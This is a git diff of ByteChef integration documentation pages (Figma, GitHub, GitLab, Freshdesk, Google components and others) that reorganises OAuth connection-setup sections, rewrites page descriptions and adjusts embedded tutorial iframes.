 
@@ -92,7 +88,6 @@ Type: STRING
 
 
 
-
 <hr />
 
 # Additional Instructions
@@ -103,4 +98,4 @@ This is an example of an example.
 
 1. Step 1
 2. Step 2
-3. ![An illustration of planets and stars featuring the word “astro”](https://raw.githubusercontent.com/withastro/docs/main/public/default-og-image.png)
+3. ![An illustration of planets and stars featuring the word “astro”](https://raw.githubusercontent.com/withastro/docs/main/public/default-og-image.png)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/figma_v1.mdx b/docs/content/docs/reference/components/figma_v1.mdx
index 861943306b6..15df1d5076e 100644
--- a/docs/content/docs/reference/components/figma_v1.mdx
+++ b/docs/content/docs/reference/components/figma_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Figma"
-description: "Figma is a cloud-based design and prototyping tool that enables teams to collaborate in real-time on user interface and user experience projects."
+description: "Figma integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Figma
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -30,35 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create a Figma OAuth App
-
-1. Go to https://www.figma.com/developers/apps (or click “My Apps” in the top toolbar).
-2. Click **Create a new app** (top-right).
-3. Enter a name for your OAuth app and select a Team/Organization. The app must be associated with a team or organization.
-4. Click **Create**.
-5. Copy the **Client ID** and **Client Secret** and store them securely.
-   - Figma shows the Client Secret only once. You’ll need it for token exchange and refreshing access tokens.
-
-### Configure OAuth Scopes
-
-On the OAuth scopes page, select the scopes your app needs. For the ByteChef Figma connector, enable:
-
-- `file_comments:read`
-- `file_comments:write`
-- `webhooks:write`
-
-### Set the Redirect URI
-
-Add the ByteChef OAuth2 callback URL as a Redirect URI in your Figma app:
-
-- Example cloud URL: `https://app.bytechef.io/callback`
-- Example local URL: `http://127.0.0.1:5173/callback`
-
-If you run ByteChef with a custom domain, the pattern is: `<YOUR_PUBLIC_URL>/callback`.
-
-
 
 
 <hr />
@@ -123,11 +93,6 @@ Type: OBJECT
 }
 ```
 
-#### Find File Key
-
-To find a Figma file key, copy the alphanumeric string located between `/file/` (or `/design/`, `/proto/`, etc.) and the file name in the browser URL. For example, in `https://www.figma.com/file/ABC123456/File-Name`, the file key is `ABC123456`. You can also right-click a file in the desktop app and select **Copy link** to extract it.
-
-
 
 ### Post Comment
 Name: postComment
@@ -183,11 +148,6 @@ Type: OBJECT
 }
 ```
 
-#### Find File Key
-
-To find a Figma file key, copy the alphanumeric string located between `/file/` (or `/design/`, `/proto/`, etc.) and the file name in the browser URL. For example, in `https://www.figma.com/file/ABC123456/File-Name`, the file key is `ABC123456`. You can also right-click a file in the desktop app and select **Copy link** to extract it.
-
-
 
 
 ## Triggers
@@ -209,33 +169,7 @@ Type: DYNAMIC_WEBHOOK
 
 #### Output
 
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| file_name | STRING | The name of the file that was updated. |
-| created_at | STRING | The UTC ISO 8601 time at which the comment was left. |
-| comment_id | STRING | ID of the comment. |
-| triggered_by | OBJECT <details> <summary> Properties </summary> &#123;STRING\(id), STRING\(handle), STRING\(email), STRING\(img_url)&#125; </details> | The user that made the comment and triggered this event. |
-| file_key | STRING | The key of the file that was updated. |
-| retries | INTEGER | Number of times the event has been retried. |
-| event_type | STRING | Type of the event. |
-| webhook_id | STRING | The id of the webhook that caused the callback. |
-| parent_id | STRING | If present, the id of the comment to which this is the reply. |
-| resolved_at | STRING | If set, the UTC ISO 8601 time the comment was resolved. |
-| mentions | ARRAY <details> <summary> Items </summary> [&#123;STRING\(id), STRING\(handle), STRING\(email), STRING\(img_url)&#125;] </details> | Users that were mentioned in the comment. |
-| comment | ARRAY <details> <summary> Items </summary> [&#123;STRING\(text), STRING\(mention)&#125;] </details> | Contents of the comment itself. |
-| order_id | STRING | Only set for top level comments. The number displayed with the comment in the UI. |
-| passcode | STRING | The passcode specified when the webhook was created, should match what was initially provided. |
-| timestamp | STRING | UTC ISO 8601 timestamp of when the event was triggered. |
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
 
 #### JSON Example
 ```json
@@ -248,10 +182,6 @@ Type: OBJECT
   "type" : "figma/v1/newComment"
 }
 ```
-#### Find Team ID
-
-To find your Figma Team ID, open the Figma web browser app, click on your team name in the left-hand sidebar, and copy the long numerical string located after `/team/` in the URL bar (e.g., `figma.com/team/123456789/team-name`).
-
 
 
 
@@ -262,3 +192,34 @@ If this component doesn't have the action you need, you can use **Custom Action*
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create a Figma OAuth App
+
+1. Go to https://www.figma.com/developers/apps (or click “My Apps” in the top toolbar).
+2. Click **Create a new app** (top-right).
+3. Enter a name for your OAuth app and select a Team/Organization. The app must be associated with a team or organization.
+4. Click **Create**.
+5. Copy the **Client ID** and **Client Secret** and store them securely.
+   - Figma shows the Client Secret only once. You’ll need it for token exchange and refreshing access tokens.
+
+### Configure OAuth Scopes
+
+On the OAuth scopes page, select the scopes your app needs. For the ByteChef Figma connector, enable:
+
+- `file_comments:read`
+- `file_comments:write`
+- `webhooks:write`
+
+### Set the Redirect URI
+
+Add the ByteChef OAuth2 callback URL as a Redirect URI in your Figma app:
+
+- Example cloud URL: `https://app.bytechef.io/callback`
+- Example local URL: `http://127.0.0.1:5173/callback`
+
+If you run ByteChef with a custom domain, the pattern is: `<YOUR_PUBLIC_URL>/callback`.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/file-storage_v1.mdx b/docs/content/docs/reference/components/file-storage_v1.mdx
index a40ef6354cf..6e530c9c5a2 100644
--- a/docs/content/docs/reference/components/file-storage_v1.mdx
+++ b/docs/content/docs/reference/components/file-storage_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "File Storage"
-description: "Reads and writes data from a file stored inside the file storage."
+description: "File Storage integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: File Storage
 ---
 
-
 Categories: File Storage, Helpers
 
 
@@ -63,8 +62,6 @@ Type: STRING
 
 
 
-
-
 ### Write to File
 Name: write
 
@@ -120,8 +117,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Download File
 Name: download
 
@@ -174,10 +169,4 @@ Type: FILE_ENTRY
   "name" : "",
   "url" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/filesystem_v1.mdx b/docs/content/docs/reference/components/filesystem_v1.mdx
index 05fe0b1011a..ff071a38afb 100644
--- a/docs/content/docs/reference/components/filesystem_v1.mdx
+++ b/docs/content/docs/reference/components/filesystem_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Filesystem"
-description: "Allows multiple operations over files on the filesystem."
+description: "Filesystem integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Filesystem
 ---
 
-
 Categories: Helpers
 
 
@@ -49,8 +48,6 @@ Type: STRING
 
 
 
-
-
 ### Create
 Name: mkdir
 
@@ -92,8 +89,6 @@ Type: STRING
 
 
 
-
-
 ### Get Parent Folder
 Name: getFilePath
 
@@ -135,8 +130,6 @@ Type: STRING
 
 
 
-
-
 ### List
 Name: ls
 
@@ -193,8 +186,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Read File
 Name: readFile
 
@@ -248,8 +239,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Remove
 Name: rm
 
@@ -291,8 +280,6 @@ Type: BOOLEAN
 
 
 
-
-
 ### Write to File
 Name: writeFile
 
@@ -349,10 +336,4 @@ Type: OBJECT
 {
   "bytes" : 1
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/form_v1.mdx b/docs/content/docs/reference/components/form_v1.mdx
index 65f41bec719..68d8406d09b 100644
--- a/docs/content/docs/reference/components/form_v1.mdx
+++ b/docs/content/docs/reference/components/form_v1.mdx
@@ -37,7 +37,7 @@ Type: STATIC_WEBHOOK
 | useWorkflowTimezone | Use Workflow Timezone | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Use the workflow timezone for the submittedAt timestamp instead of UTC. | false |
 | appendAttribution | Append Attribution | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Show an attribution footer on the public form. | false |
 | customFormStyling | Custom Form Styling (CSS) | STRING | Override default form styles with custom CSS. | false |
-| inputs | Form Inputs | ARRAY <details> <summary> Items </summary> [&#123;INTEGER\(fieldType), STRING\(fieldLabel), STRING\(fieldName), STRING\(fieldDescription), STRING\(placeholder), STRING\(defaultValue), STRING\(defaultValue), [&#123;STRING\(label), STRING\(value)&#125;]\(fieldOptions), BOOLEAN\(multipleChoice), INTEGER\(minSelection), INTEGER\(maxSelection), BOOLEAN\(required)&#125;] </details> | Define the form input fields | true |
+| inputs | Form Inputs | ARRAY <details> <summary> Items </summary> [&#123;STRING\(fieldLabel), STRING\(fieldName), INTEGER\(fieldType), STRING\(fieldDescription), STRING\(placeholder), STRING\(defaultValue), STRING\(defaultValue), [&#123;STRING\(label), STRING\(value)&#125;]\(fieldOptions), BOOLEAN\(multipleChoice), INTEGER\(minSelection), INTEGER\(maxSelection), BOOLEAN\(required)&#125;] </details> | Define the form input fields | true |
 
 
 #### Output
@@ -58,9 +58,9 @@ The output for this action is dynamic and may vary depending on the input parame
     "appendAttribution" : false,
     "customFormStyling" : "",
     "inputs" : [ {
-      "fieldType" : 1,
       "fieldLabel" : "",
       "fieldName" : "",
+      "fieldType" : 1,
       "fieldDescription" : "",
       "placeholder" : "",
       "defaultValue" : "",
@@ -81,4 +81,3 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
diff --git a/docs/content/docs/reference/components/freshdesk_v1.mdx b/docs/content/docs/reference/components/freshdesk_v1.mdx
index f318cd49dc7..7da089e4f8b 100644
--- a/docs/content/docs/reference/components/freshdesk_v1.mdx
+++ b/docs/content/docs/reference/components/freshdesk_v1.mdx
@@ -30,25 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your [Freshworks](https://www.freshworks.com/) dashboard.
-2. Click on **Login**.
-3. Login to your account.
-4. Click on **Continue**.
-5. Choose your Freshdesk account.
-6. Click on your Profile icon.
-7. Click on **Profile settings**.
-8. Click on **View API Key** and verify you are not a robot.
-9. Here you can see your **API Key**.
-10. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/f16c9d6e-cccb-4c72-85e5-b9f26a964b73?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -114,8 +95,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Contact
 Name: createContact
 
@@ -179,8 +158,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Ticket
 Name: createTicket
 
@@ -246,11 +223,31 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find API Key
+
+1. Navigate to your [Freshworks](https://www.freshworks.com/) dashboard.
+2. Click on **Login**.
+3. Login to your account.
+4. Click on **Continue**.
+5. Choose your Freshdesk account.
+6. Click on your Profile icon.
+7. Click on **Profile settings**.
+8. Click on **View API Key** and verify you are not a robot.
+9. Here you can see your **API Key**.
+10. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/f16c9d6e-cccb-4c72-85e5-b9f26a964b73?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/freshsales_v1.mdx b/docs/content/docs/reference/components/freshsales_v1.mdx
index ad67d8d8fc1..95e95475644 100644
--- a/docs/content/docs/reference/components/freshsales_v1.mdx
+++ b/docs/content/docs/reference/components/freshsales_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Freshsales"
-description: "Freshsales is a customer relationship management (CRM) software designed to help businesses streamline sales processes and manage customer interactions effectively."
+description: "Freshsales integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Freshsales
 ---
 
-
 Categories: CRM
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -95,8 +93,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Contact
 Name: createContact
 
@@ -189,8 +185,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Lead
 Name: createLead
 
@@ -244,10 +238,4 @@ Type: OBJECT
     "last_name" : ""
   }
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/github_v1.mdx b/docs/content/docs/reference/components/github_v1.mdx
index f06617034ee..de07c1a005b 100644
--- a/docs/content/docs/reference/components/github_v1.mdx
+++ b/docs/content/docs/reference/components/github_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "GitHub"
-description: "GitHub is a web-based platform for version control and collaboration using Git."
+description: "Github integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: GitHub
 ---
 
-
 Categories: Developer Tools
 
 
@@ -30,26 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to your GitHub account.
-2. Click on your profile icon in the top right corner.
-3. Select **Settings** from the dropdown menu.
-4. In the left sidebar, click on **Developer settings**.
-5. In the left sidebar, click on **OAuth Apps**.
-6. Click on **New OAuth App**.
-7. Fill in the required fields:
-    - **Application name**: Enter a name for your application (e.g., `Test App`).
-    - **Homepage URL**: Provide the homepage URL for your application (e.g., `https://www.bytechef.io/`).
-    - **Authorization callback URL**: Specify the URL where users will be redirected after authorization (e.g., `http://127.0.0.1:5173/callback`).
-8. Click **Register application**.
-9. Click on **Generate a new client secret**.
-10. Copy the **Client ID** and **Client Secret** for later use.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/bhsAUb5TGIexsFuLBica?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -134,8 +113,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Add Labels to Issue
 Name: addLabelsToIssue
 
@@ -196,8 +173,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Create Comment on Issue
 Name: createCommentOnIssue
 
@@ -276,8 +251,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Fork
 Name: createFork
 
@@ -364,8 +337,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Issue
 Name: createIssue
 
@@ -444,8 +415,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Pull Request
 Name: createPullRequest
 
@@ -566,8 +535,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Issue
 Name: getIssue
 
@@ -644,50 +611,6 @@ Type: OBJECT
 ```
 
 
-
-
-### Get Repository Content
-Name: getRepositoryContent
-
-`Gets the contents of a file or directory in a repository. If the content is a directory, the response will be each item in the directory and if the content is a file, the response will be file as a string.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| owner | User/Organization | STRING | The owner of the repository (user or organization). | true |
-| repository | Repository | STRING | Repository where the content is located. | true |
-| path | Path | STRING | Path to the file or the directory. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Get Repository Content",
-  "name" : "getRepositoryContent",
-  "parameters" : {
-    "owner" : "",
-    "repository" : "",
-    "path" : ""
-  },
-  "type" : "github/v1/getRepositoryContent"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
 ### List Issues
 Name: listIssues
 
@@ -765,8 +688,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### List Repository Issues
 Name: listRepositoryIssues
 
@@ -844,8 +765,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Star Repository
 Name: starRepository
 
@@ -879,8 +798,6 @@ This action does not produce any output.
 
 
 
-
-
 ## Triggers
 
 
@@ -917,7 +834,6 @@ The output for this action is dynamic and may vary depending on the input parame
 ```
 
 
-
 ### New Issue
 Name: newIssue
 
@@ -969,7 +885,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Pull Request
 Name: newPullRequest
 
@@ -1003,10 +918,32 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Login to your GitHub account.
+2. Click on your profile icon in the top right corner.
+3. Select **Settings** from the dropdown menu.
+4. In the left sidebar, click on **Developer settings**.
+5. In the left sidebar, click on **OAuth Apps**.
+6. Click on **New OAuth App**.
+7. Fill in the required fields:
+    - **Application name**: Enter a name for your application (e.g., `Test App`).
+    - **Homepage URL**: Provide the homepage URL for your application (e.g., `https://www.bytechef.io/`).
+    - **Authorization callback URL**: Specify the URL where users will be redirected after authorization (e.g., `http://127.0.0.1:5173/callback`).
+8. Click **Register application**.
+9. Click on **Generate a new client secret**.
+10. Copy the **Client ID** and **Client Secret** for later use.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/bhsAUb5TGIexsFuLBica?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/gitlab_v1.mdx b/docs/content/docs/reference/components/gitlab_v1.mdx
index e50ece90c58..681b24d7469 100644
--- a/docs/content/docs/reference/components/gitlab_v1.mdx
+++ b/docs/content/docs/reference/components/gitlab_v1.mdx
@@ -30,23 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to your GitLab account.
-2. Click on your profile icon in the top right corner and select **Edit profile**.
-3. On the left sidebar, select **Applications**.
-4. Click on **Add new application**.
-5. Fill in the required fields:
-    - **Name**: Enter a name for your application (e.g., `Test App`).
-    - **Redirect URI**: Specify the URI where users will be redirected after authorization (e.g., `http://127.0.0.1:5173/callback`).
-6. Select OAuth 2 Scopes. For the ByteChef connector, enable: `api`.
-7. Click on **Save application**.
-8. Copy the **Application ID** as Client ID and **Secret** as Client Secret and use it in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/kcgOnF9seW2JSJpxX99R?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -115,11 +98,6 @@ Type: OBJECT
 }
 ```
 
-#### Find Project ID
-
-To find the Project ID, click [here](/reference/components/gitlab_v1#how-to-find-the-project-id).
-
-
 
 ### Create Comment on Issue
 Name: createCommentOnIssue
@@ -173,13 +151,6 @@ Type: OBJECT
 }
 ```
 
-#### Find Project ID and Issue ID
-
-To find the Project ID, click [here](/reference/components/gitlab_v1#how-to-find-the-project-id).
-
-To find the Issue ID, click [here](/reference/components/gitlab_v1#how-to-find-the-issue-id).
-
-
 
 
 ## Triggers
@@ -230,10 +201,6 @@ Type: OBJECT
   "type" : "gitlab/v1/newIssue"
 }
 ```
-#### Find Project ID
-
-To find the Project ID, click [here](/reference/components/gitlab_v1#how-to-find-the-project-id).
-
 
 
 
@@ -248,31 +215,19 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
-### How to find the Project ID
-
-The Project ID is a unique numeric value that can be found in the Gitlab UI or via the API.
-
-- **Method 1: Via API**
-
-Use the `GET /projects` endpoint to retrieve a list of all projects and their numeric IDs.
-
-- **Method 2: In the Gitlab UI**
-
-1. On the top bar, select **Search or go to** and find your project.
-2. On the project overview page, in the upper-right corner, select **Actions** (  ).
-3. Select **Copy project ID**.
-
-### How to find the Issue ID
-
-The Issue ID is a project-scoped identifier for an issue that can be found in the Gitlab UI or via the API.
-
-- **Method 1: Via API**
-
-Use the GET /projects/PROJECT_ID/issues endpoint. List issues within a project to retrieve their IDs.
+## Connection Setup
 
-- **Method 2: In the Gitlab UI**
+1. Login to your GitLab account.
+2. Click on your profile icon in the top right corner and select **Edit profile**.
+3. On the left sidebar, select **Applications**.
+4. Click on **Add new application**.
+5. Fill in the required fields:
+    - **Name**: Enter a name for your application (e.g., `Test App`).
+    - **Redirect URI**: Specify the URI where users will be redirected after authorization (e.g., `http://127.0.0.1:5173/callback`).
+6. Select OAuth 2 Scopes. For the ByteChef connector, enable: `api`.
+7. Click on **Save application**.
+8. Copy the **Application ID** as Client ID and **Secret** as Client Secret and use it in ByteChef.
 
-1. On the top bar, select **Search or go to** and find your project.
-2. On the left bar, click on **Issues**.
-3. Open the issue in your project.
-4. The Issue ID appears after the # symbol above the issue title.
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/kcgOnF9seW2JSJpxX99R?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/google-application-setup_v1.mdx b/docs/content/docs/reference/components/google-application-setup_v1.mdx
index 45e202fbec6..0cdb39e6124 100644
--- a/docs/content/docs/reference/components/google-application-setup_v1.mdx
+++ b/docs/content/docs/reference/components/google-application-setup_v1.mdx
@@ -1,6 +1,6 @@
 ---
-title: "Google Application Setup"
-description: "Steps for setting up Google Cloud API Console for every Google component."
+description: "Google Application Setup for ByteChef. Learn to configure Google OAuth credentials and set up Google API access."
+title: Google Application Setup
 ---
 
 ## Connection Setup
@@ -34,7 +34,7 @@ description: "Steps for setting up Google Cloud API Console for every Google com
 25. Click on the client you just created.
 26. Copy the **Client ID** and **Client Secret**. Use these credentials to create a connection in ByteChef.
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
   <iframe src="https://www.guidejar.com/embed/fec74020-26bb-43dd-814c-f8b907f6f45b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -52,6 +52,6 @@ description: "Steps for setting up Google Cloud API Console for every Google com
 6. Enter email of your test user.
 7. Click on "Save".
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
   <iframe src="https://www.guidejar.com/embed/7b911b43-b846-4e98-9c7d-bf4b6b9a0455?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-bigquery_v1.mdx b/docs/content/docs/reference/components/google-bigquery_v1.mdx
index ab00743a58e..62088f2e54b 100644
--- a/docs/content/docs/reference/components/google-bigquery_v1.mdx
+++ b/docs/content/docs/reference/components/google-bigquery_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google BigQuery"
-description: "Google BigQuery is the autonomous data to AI platform, automating the entire data life cycle, from ingestion to AI-driven insights, so you can go from data to AI to action faster."
+description: "Google BigQuery component for ByteChef. Connect to BigQuery for data analysis and automated data pipeline workflows."
+title: Google BigQuery
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -30,24 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable BigQuery API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Click on **APIs & Services**.
-3. Enter **bigquery** into search bar and press enter.
-4. Click on **BigQuery API**.
-5. Click on **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/1a93fe01-973c-4185-97c1-073b2cb03d1c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -177,14 +158,30 @@ Type: OBJECT
 
 
 
-
-
 <hr />
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable BigQuery API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Click on **APIs & Services**.
+3. Enter **bigquery** into search bar and press enter.
+4. Click on **BigQuery API**.
+5. Click on **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/1a93fe01-973c-4185-97c1-073b2cb03d1c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-calendar_v1.mdx b/docs/content/docs/reference/components/google-calendar_v1.mdx
index ec75172cb92..90695d21dca 100644
--- a/docs/content/docs/reference/components/google-calendar_v1.mdx
+++ b/docs/content/docs/reference/components/google-calendar_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Calendar"
-description: "Google Calendar is a web-based application that allows users to schedule and organize events, appointments, and reminders, synchronizing across multiple devices."
+description: "Google Calendar component for ByteChef. Schedule and manage events. Learn how to implement this in your ByteChef workflows."
+title: Google Calendar
 ---
 
-
 Categories: Calendars and Scheduling
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Calendar API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "calendar" in the search bar.
-5. Click on **Google Calendar API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/c1fe8158-a72f-45ed-942e-c1bab5802afa?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -157,8 +137,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Event
 Name: createEvent
 
@@ -293,8 +271,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Quick Event
 Name: createQuickEvent
 
@@ -395,8 +371,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Event
 Name: deleteEvent
 
@@ -429,8 +403,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Get Events
 Name: getEvents
 
@@ -541,8 +513,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Get Free Time Slots
 Name: getFreeTimeSlots
 
@@ -600,8 +570,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Update Event
 Name: updateEvent
 
